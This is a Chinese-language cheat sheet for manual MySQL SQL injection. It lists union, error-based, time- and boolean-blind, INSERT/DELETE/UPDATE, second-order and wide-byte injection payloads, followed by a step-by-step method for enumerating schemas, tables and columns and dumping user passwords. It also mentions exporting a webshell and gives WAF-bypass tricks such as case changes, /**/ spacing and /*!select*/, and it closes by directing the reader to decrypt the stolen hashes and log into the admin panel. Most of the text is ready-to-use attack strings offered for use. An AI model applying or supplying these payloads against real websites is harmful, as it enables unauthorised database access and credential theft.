0x01 Mysql 手工注入
1.1 联合注入
?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+
1.2 报错注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:
exp() 报错的原理:
exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,
然后 ~ 取反它的值总会大于709,
所以报错。
updatexml() 报错的原理:
由于 updatexml 的第二个参数需要 Xpath 格式的字符串,
以 ~ 开头的内容不是 xml 格式的语法,
concat() 函数为字符串连接函数显然不符合规则,
但是会将括号内的执行结果以错误的形式报出,
这样就可以实现报错注入了。
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
这里需要注意的是它加了连接字符,
导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
1.3 盲注
1.3.1 时间盲注
时间盲注也叫延时注入
一般用到函数 sleep() BENCHMARK()
还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left
我们一般喜欢把分割的函数编码一下,
当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
1.3.2 布尔盲注
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
1.4 insert,delete,update
insert,delete,update 主要是用到盲注和报错注入,
此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,
一般这种注入会出现在
注册、ip头、留言板等等需要写入数据的地方,
同时这种注入不报错一般较难发现,
我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,
然后如果插入失败,更新失败,
然后深入测试确定是否存在注入
1.4.1 报错
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
1.4.2 盲注
#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0
1.5 二次注入与宽字节注入
二次注入的语句:
在没有被单引号包裹的sql语句下,
我们可以用16进制编码他,这样就不会带有单引号等。
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'--+ | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
二次注入在没有源码的情况比较难发现,
通常见于注册,登录恶意账户后,
数据库可能会因为恶意账户名的问题,将 admin’–+ 误认为 admin 账户
宽字节注入:
针对目标做了一定的防护,
单引号转变为 \' , mysql 会将 \ 编码为 %5c ,
宽字节中两个字节代表一个汉字,
所以 把 %df 加上 %5c 就变成了一个汉字“運”,
使用这种方法成功绕过转义,就是所谓的宽字节注入
id=-1%df' union select...
#没使用宽字节
%27 -> %5C%27
#使用宽字节
%df%27 -> %df%5c%27 -> 運'
0x00000000000000 - 杂技
MySQL注入思路:
1.判断注入点是否有读写权限
有 读取配置文件、用户名密码等;
magic_quotes_gpc为off ,直接导出一句话webshell。
//magic_quotes_gpc为on的时候,‘会被转成’,而写导出的绝对路径的时候又必须是用’括起
没有
判断MySQL版本,5.0以上
通过爆 获得用户名密码;
5.0以下或者5.0以上不能爆(比如限制了information_schema数据库)
盲注获得用户名密码。
//盲注: 通过返回页面的正确与否判断查询语句是否正确, 类似 Access数据库的注入
一个参数可能执行了多个查询语句
导致查不出字段数、没有数字回显
服务器开启了MySQL错误回显的话, 通过报错注入从报错信息中获取信息
MySQL数据库5.X版本的爆表爆列爆内容。
步骤一:判断注入点
单引号、and 1=1、and 1=2。
步骤二:order by和union select
通过order by查出字段数目N,然后联合查询。
and1=2 union select 1,2,3,4…,N–
//首先and 1=2报错,用单引号或在参数前加个"-“也行
// 和Access不同,后面可以不加"from 表名”;
最后面的"–“是注释符,注释掉后面的语句,防止出错,换成”/*"也行,也可以不加
//Access不支持注释符,MySQL和MSSQL支持
步骤三:查出基本信息
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
and1=2 union select 1,2,version(),4…,N–
//介绍几个常用函数:
- version()——MySQL版本
- user()——用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作 系统 版本
我们可以通过将对应函数放到显示位中查出相应信息
查找信息函数:
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六进制,作为分隔符 //防止连成一片
//在实际查的时候, 去掉 出错函数
比如@@verion_compile_os这个函数就经常出错
// MySQL官方手册http://dev. mysql .com/doc/
步骤四:爆表 爆列 爆用户名/密码
第一种:查表查列
-
and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=库名十六进制 limit N,1)t limit 1–
-
and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六进制 and table_schema=库名十六进制 limit N,1)t limit 1–
-
and 1=2 union select 1,2,列名,4 from 表名
//改变N的值,查出一个个表名、列名
第二种:高级查表查列
- and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
- and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查的库名的十六进制 limit N,1
- and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六进制 limit N,1
//技巧:查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库
//找敏感的表,含有admin、manage或user之类的
第三种:爆表爆列
- and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
- and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=要爆的库名的十六进制
- and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
- and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
//distinct表示不同,去掉爆出内容的重复部分,//可有可无
//在通过用group_concat()这个函数直接爆出所有库名、表名、列名、字段内容,可以提高速度,方便查找
第四种:高级爆表爆列
- and 1=2 union select 1,2,group_concat(distinct table_schema),4 from information_schema.columns
- and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.columns where table_schema=要爆的库名的十六进制
- and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
- and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
// (http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)
//数据从information_schema.columns表里获取
information_schema.columns这个表里,
table_schema、table_name、column_name列
直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度
到这一步,我们的注入就算完成了,找后台解密登陆就是了。
-
当union select 1,2,3,4没有出现数字位时,
把数字都换成null
逐个尝试替换成数字或字符或直接换成version(),
找到可以显示出来的那一位。貌似是因为对应变量类型不同的原因, -
有些时候莫名其妙的就出错的时候(比如有数字显示位,而用替换函数(比如version())去替换时却返回空白页或报错)
爆不出来的时候
通过hex()或convert()等函数来
解决可能的编码问题,比如hex(version())、unhex(hex(version()))、convert(version() using latin1)等等 -
把空格换成"+“或者”/**/"
空格会被自动转成"%20",看着很乱,而且换过以后貌似能过一些过滤。 -
网站有过滤的时候,大小写变换绕过。
/!select/,把容易被过滤的东西放到/!XXX/中
一样可以正常查询,也就是/!select/=select。如果你还不放心那就这样/!sEleCt/